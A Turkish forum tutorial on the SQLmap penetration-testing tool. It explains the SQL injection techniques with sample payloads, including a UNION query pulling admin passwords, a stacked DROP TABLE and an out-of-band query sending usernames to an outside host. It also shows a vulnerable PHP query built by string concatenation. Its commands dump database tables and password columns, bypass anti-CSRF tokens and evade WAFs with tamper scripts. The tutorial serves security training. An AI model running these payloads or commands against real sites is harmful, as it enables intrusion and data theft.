SQLmap - Open Source Penetration Testing Tool
Giriş
SQLmap kali'de yüklü gelen araçlardandır. apt kullanan sistemlerde "sudo apt install sqlmap" yazarak indirebilirsiniz.Tam Desteklediği Veritabanları
sqlmap birçok veritabanını destekler.MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
Informix
MariaDB
Percona
MemSQL
TiDB
CockroachDB
HSQLDB
H2
MonetDB
Apache Derby
Amazon Redshift
Vertica
Mckoi
Presto
Altibase
MimerSQL
CrateDB
Greenplum
Drizzle
Apache Ignite
Cubrid
InterSystems Cache
IRIS
eXtremeDB
FrontBase
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
Informix
MariaDB
Percona
MemSQL
TiDB
CockroachDB
HSQLDB
H2
MonetDB
Apache Derby
Amazon Redshift
Vertica
Mckoi
Presto
Altibase
MimerSQL
CrateDB
Greenplum
Drizzle
Apache Ignite
Cubrid
InterSystems Cache
IRIS
eXtremeDB
FrontBase
Desteklediği Teknikler
U: Union query-based
En hızlı sonuç veren tekniktir çünkü tek bir sorgu ile istenilen her yer okunabilir. Orijinal sorgunun yanına eklenerek sorgunun genişletilmesiyle oluşur.
Bash:
SELECT id, name, age FROM users UNION SELECT 1, username, password FROM admins --';
E: Error-based
Sorgu hataları kullanılarak uygulanan tekniktir. Hata mesajlarının gösterilmediği sistemlerde işe yaramaz. İkinci en hızlı sonuç veren tekniktir çünkü "chunks" adı verilen, her biri 200 byte büyüklüğünde veri alınabilir.Örneğin olmayan bir tabloya ulaşmaya çalıştığımızda aşağıdaki "accounts veritabanında admins diye bir şey yok" hatasını alırız ve var olan tabloları bu hatadan yola çıkarak bulabiliriz.
SQL:
ERROR: Table 'accounts.admins' doesn't exist
B: Boolean-based blind
En yaygın SQLi türü olarak kabul edilir. Olağan yanıtlar genellikle true olarak yorumlanır. Bilgi edinmek daha uzun sürer çünkü doğrudan sonuç alınmaz, sadece sayfanın yanıtındaki değişikliklere göre çıkarımlar yapılır.
SQL:
SELECT * FROM users WHERE id = '1' AND 1=1 --';
T: Time-based blind
Boolean-based blind SQLi tenkiğine oldulça benzer. Normal cevap süresiyle, yaptığımız isteğin arasındaki cevap süresi incelenerek çıkarım yapılır. Sorgu normal kabul edilebilecek bir sürede yanıtlanırsa bu false olarak kabul edilir.
SQL:
SELECT * FROM users WHERE id = '1' AND IF(1=1, SLEEP(5), 0) --';
S: Stacked queries
"piggy-backing" olarak da bilinir. Uygulanabilmesi için veritabanının arka arkaya istek yollama özelliği olmalıdır (Microsoft SQL Server ve PostgreSQL varsayılan olarak destekler).
SQL:
SELECT * FROM users WHERE id = 1; DROP TABLE users --;
Q: Inline queries (subqueries)
Sorgu içerisinde sorgu çalıştırılması esasına dayanır. Nadir görülen bir açıktır.
SQL:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1 = (SELECT 1 FROM dual) --';
Out-of-band SQLi
Veritabanı sunucusu bir HTTP ya da DNS isteği gibi harici bir istek yapmaya zorlanır ve bu istekler aracılığıyla sonuç alınmaya çalışılır. Genellikle diğer yöntemlerin işe yaramadığı durumlarda kullanılır.
SQL:
SELECT UTL_HTTP.REQUEST('http://turkhackteam.org/' || (SELECT username FROM users WHERE rownum = 1)) FROM dual;
Temel SQL Yapısı ve SQL Injection
Basit bir web sitesinin sql sorgu mekanizmasını temsil eden kod:
SQL:
$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $sql);
if (!$result)
die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");
Yukarıdaki PHP kodunda "$_GET["id"]" ile bir http GET isteği yapıldığını, "." ile diğer bölümlerle alınan parametrenin birleştirildiğini ve bu tam SQL sorgusunu mysqli_query() fonksiyonuna vererek çalıştırdığını görüyoruz. Buradaki temel sorun, "id" parametresi yerine kodun bütünlüğünü bozacak ve mysqli_query() fonksiyonuna verilecek kodun manipüle edilebilmesi olacaktır. En temel anlamda SQL enjeksiyonu bu şekilde yapılır.
SQLmap Log Mesajları
SQLmap'in çıktılarını yorumlayabilmek için vereceği hataları da anlayabilmemiz gerekiyor. Bu başlıkta da bu hata çıktılarını ele alacağız.
Kod:
target URL content is stable
Kod:
GET parameter 'token' appears to be dynamic
Kod:
heuristic (basic) test shows that GET parameter 'token' might be injectable (possible DBMS: 'MySQL')"
Kod:
heuristic (XSS) test shows that GET parameter 'token' might be vulnerable to cross-site scripting (XSS) attacks
Kod:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Eğer tespit edilen veritabanı yönetim sisteminin MySQL olduğundan eminsek, bu testleri atlayarak taramayı hızlandırabiliriz. MySQL'e özel payload'lar kullanılacak ve diğer DBMS'ler için olan testler yapılmayacaktır.
Kod:
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
Kod:
reflective value(s) found and filtering out
Kod:
GET parameter 'search' appears to be 'UNION query' injectable
Kod:
time-based comparison requires a larger statistical model, please wait... (done)
Kod:
automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
Kod:
ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
Kod:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Kod:
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
Kod:
fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'
Öğrenilmesi Elzem Parametreler
Aşağıdaki parametrelere bir göz atıp konuyu okumaya devam edebilirsiniz. Notlarınıza eklemenizi ve ihtiyaç duyduğunuz yerde dönüp bakmanızı tavsiye ederim.--cookie='<cookie>': Session cookie belirtmek için kullanılır.
-H/--header='Cookie=PHPSESSID=<cookie>': Özel header belirtmek için kullanılır.
--referer: İstemcinin hangi sayfadan geldiğini sunucuya bildirir.
-A/--user-agent: HTTP isteği sırasında istemci (tarayıcı, uygulama vb.) hakkında bilgi veren başlık.
--random-agent: Her istek için rastgele bir User-Agent belirler. Farklı bir tarayıcı veya cihazdan geliyormuş gibi görünmeyi sağlar. WAF'dan kaçınmak için yararlı olabilir.
--mobile: "--random-agent" gibi çalışır ancak istek telefondan geliyormuş gibi görünür.
--method <metot>: GET/POST/PUT gibi metotları belirtmeyi sağlar.
-r <istek dosyası>: Burp gibi araçlardan isteği kopyalayıp özel bir dosyaya yapıştırabilirsiniz. İsteği bu dosyadan okur ve yapar. "sqlmap -r istek.txt"
-t <çıktı dosyası>: Sonuçların bir dosyaya yazılmasını sağlar.
-v <ayrıntı derecesi>: Çıktı detayını arttırmak için kullanılır. En yüksek seviye 6'dır. "-v 3" şeklinde kullanılır.
--level <seviye>: Daha detaylı test için daha fazla payload test edilmesini sağlar. Yapılacak test sayısını ciddi oranda arttırır. 1-5 arası değer alabilir.
--risk <seviye>: Daha yüksek seviyeler, hedef sistemde daha fazla sorun yaratabilecek payload'ları içerir. Risk seviyesi arttıkça, olası veri kaybı veya hizmet kesintisi riski de artar. SQLmap varsayılan olarak en güvenli payload'ları kullanır. 1-3 arası değer alabilir.
İsteği Kopyalama
Önce tarayıcının geliştirici araçlarından (F12) "Network" sekmesini açıyoruz. Bu sekmeyi açıktan sonra yaptığımız istekler burada görünecektir. Sağ tıklayıp "copy->Copy as cURL" dersek istek bir curl isteği olarak kopyalanacak, biz de bunu terminale yapıştırarak SQLmap'e vereceğiz.
Daha sonra kopyaladığımız komutu "CTRL + SHIFT + V" tuşlarına basarak terminale yapıştırabiliriz. Çıktılar birbirine giriyor, düzgün görünmüyorsa "bash --norc" kullanarak .bashrc dosyasının yüklenmesini engelleyebilir ve sorunu çözebilirsiniz.
İlk SQLmap Sorgusu
İlk olarak yapmamız gereken kopyaladığımız komutu terminale yapıştırmak:
SQLmap'i en temel şekilde çalıştırmak için yapıştırdığımız curl komutunda "curl" yerine "sqlmap" yazıyoruz ve SQLmap'in bize soracağı soruları varsayılan güvenli cevapları vererek atlaması için "--batch" parametresini ekliyoruz.
Post Request
SQLmap varsayılan olarak GET isteklerini kullanır. POST ile gönderilen parametreleri test etmek için "--data" parametresini kullanırız. Post isteği yapmak için örnek:
Spesifik Bir Noktaya Test Yapmak
SQL enjeksiyonu için denemelerin nereye yapılacağına manuel karar vermek istiyorsanız "*" işaretini kullanabilirsiniz. Örneğin "name=*&group=ugt" şeklinde koyacağınız işaret, SQLmap'in enjeksiyon noktası olarak "name" parametresini aldığını ve enjeksiyon denemelerini bu noktada yapması gerektiğini söyler.
Proxy Belirtme
SQLmap'in isteklerini Burp'de görmek gibi amaçlar için proxy belirtmek gerekir. Bunu "--proxy" parametresiyle yapabiliriz.
Bash:
sqlmap -u "http://www.turkhackteam.org/page.php?id=1" --proxy="http://127.0.0.1:8080"
Prefix/Suffix
Test sırasında payload'ımızın çalışması için payload'ın başına veya sonuna belirli karakterlerin koyulması gerektiğini keşfettiğimizi varsayalım. SQLmap'in de test yaparken bu karakterleri payload'ın başına veya sonuna koymak istiyoruz. Burada "--prefix" ve "--suffix" devreye giriyor.
Bu şekilde bir istek yapıldığında her payload'ın başında "%'))", sonunda ise "-- -" olacaktır.
Çıktı Filtreleme
--parse-errors: SQLmap'in hata mesajlarını ayırarak göstermesine yarar.--code <kod>: Sadece yazılan kodlara sahip yanıtları gösterir. Örneğin "--code 200,500", sadece 200 ve 500 durum kodu ile dönen cevapları gösterecektir.
--string="welcome user": Dönen cevapta "welcome user" ile eşleşen sonuçları gösterecektir.
--text-only: Yanıtların yalnızca metin ksımını gösterir ve HTML etiketlerini, JSON yanıtlarını veya diğer biçimlendirmeleri hariç tutar.
Teknik Belirtme
SQLmap'e konunun başında harflerle ifade ettiğimiz SQLi tekniklerinin birini veya birkaçını kullanmasını söyleyebiliriz. Bunun için "--technique" parametresini kullanacağız.
Yukarıdaki kodda SQLmap'in yalnızca Union query-based ve Time-based blind tekniklerini kullanmasını söyledik.
UNION Parametreleri
--union-cols=42: UNION tabanlı enjeksiyon testi yaparken sütun sayısını manuel olarak belirtmenizi sağlar.--union-char='e': Normalde SQLMap UNION sorgularında sütunlara sayısal verilerle sorgu gönderir. Karşı tarafın char beklemesi gibi durumlarda testleri özel bir karakterle yapmamızı sağlar.
SQL:
SELECT name, age FROM users WHERE id=1 UNION SELECT NULL, NULL;
SQL:
SELECT name, age FROM users WHERE id=1 UNION SELECT 'e', 'e';
Database Enumeration
--banner: Banner bilgisini alır. Örneğin MySQL için VERSION() sorgusu çalıştırır. Veritabanı değiştikçe sorgular da doğal olarak değişir.--hostname: Hostname bilgisini verir.
--passwords: Veritabanı üzerinde bulunan kullanıcıların şifrelerini (hash biçiminde) çıkarmaya çalışır.
--current-db: İçerisinde bulunduğumuz veritabanını gösterir. Örnek: "[INFO] retrieved current database: tht_database"
--current-user: Mevcut kullanıcıyı gösterir. Örnek: "[INFO] retrieved current user: root"
İçeriye Giriş
Veritabanlarını Listeleme
Öncelikle sistemde bulunan veritabanlarını tespit etmemiz gerekiyor.
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" --dbs
Tablo Belirtme
Daha sonra herhangi bir veritabanını seçmek için "-D tht_database" --tables parametresini kaldırıp yerine "-D <veritabanı adı>" yazacağız ve "--tables" parametresiyle içerisinde bulunan tabloları öğreneceğiz.
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" -D tht_table --tables
Tablo İçeriğini Alma
Tabloları gördükten sonra spesifik bir tabloyu seçmek için "--tables" parametresini silip yerine "-T <tablo adı>" parametresini yazacağız ve tablo içeriğini görmek için "--dump parametresini kullanacağız.
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" --dump -D tht_table -T users
Sütun Belirtme (opsiyonel)
İstersek "-C" parametresi ile sadece ilgilendiğimiz sütunları alabiliriz.
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" --dump -D tht_table -T users -C username,password
Tüm Veritabanını Alma
Tüm veritabanıyla tek tek uğraşmak istemezseniz "--dump-all" parametresini kullanabilir veya "--dump" parametresini tablo belirtmeden "-D" parametresiyle beraber kullanabilirsiniz. Bu sırada "--exclude-sysdbs" parametresini kullanırsanız sistem veritabanlarını sonuçlardan çıkarır.Sonuç Filtreleme
Start ve Stop ile Filtreleme
Okunacak çok şey varsa "--start" ve "--stop" parametrelerini kullanarak çıktı sayısını azaltabiliriz.
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" --dump -D tht_table -T users --start=2 --stop=4
Koşullu Filtreleme
Bash:
sqlmap -u "http://www.turkhackteam.org/user=mr246" --dump -D tht_table -T users --where="name LIKE 'mr%'"
Veritabanı Şeması
"--schema" parametresini kullanarak sistemdeki tüm veritabanları ve tabloları hakkında direkt bilgi sahibi olabiliriz.
Bash:
sqlmap -u "www.turkhackteam.org/?name=mr246" --schema
Search
"--search" parametresi sayesinde spesifik bir şey arayabiliriz. Bu parametreyi, aranmasının istediğimiz şeyin önüne yazmamız gerekiyor. Örneğin bir sütunlarda arayacaksak:
Bash:
sqlmap -u "www.turkhackteam.org/?user=mr246" --search -C pincode
Eval
"--eval" parametresi sayesinde Python kullanarak anti-csrf token gibi değerleri hesaplayabilir ve güvenlik önlemlerini atlatabiliriz.
Bash:
sqlmap -u "www.turkhackteam.org?user=mr246" --eval="import hashlib; hash_value = hashlib.sha1(str(id).encode()).hexdigest(); print(hash_value)"
Temel WAF Bypass Teknikleri
Skip WAF
--skip-waf: SQLmap'in WAF atlama tekniklerini devre dışı bırakarak daha sessiz test gerçekleştirmenizi sağlar.Tamper Scriptleri
SQLmap, tamper scriptleri sayesinde SQL sorgularını modifiye ederek WAF, IDS, ve IPS gibi sistemleri atlatmaya çalışabilir. Bunun için "--tamper" parametresini kullanacağız.
Bash:
sqlmap -u "www.turkhackteam.org?user=mr246" --tamper=space2comment,randomcase
Tüm scripleri ele alamayacağımdan işinize yarayacak diğer tamper scriptleri araştırarak öğrenebilirsiniz. Forumda bununla ilgili birçok konu mevcut.
Kapanış
Diğer tüm parametreler "-h"(temel parametreleri gösterir) ve "-hh"(tüm parametreleri gösterir) komutlarını kullanabilirsiniz.Konuyu hazırlarken büyük ölçüde HackTheBox Academy'deki ilgili modülden aldığım eğitim sırasında tuttuğum notları kullandım. Konuda geçenleri pratikte denemek isterseniz "SQLMap Essentials" modülünü şiddetle tavsiye ederim.
Okuduğunuz için teşekkür ederim. Görüş ve önerilerinizi lütfen bildirin.
Son düzenleme:




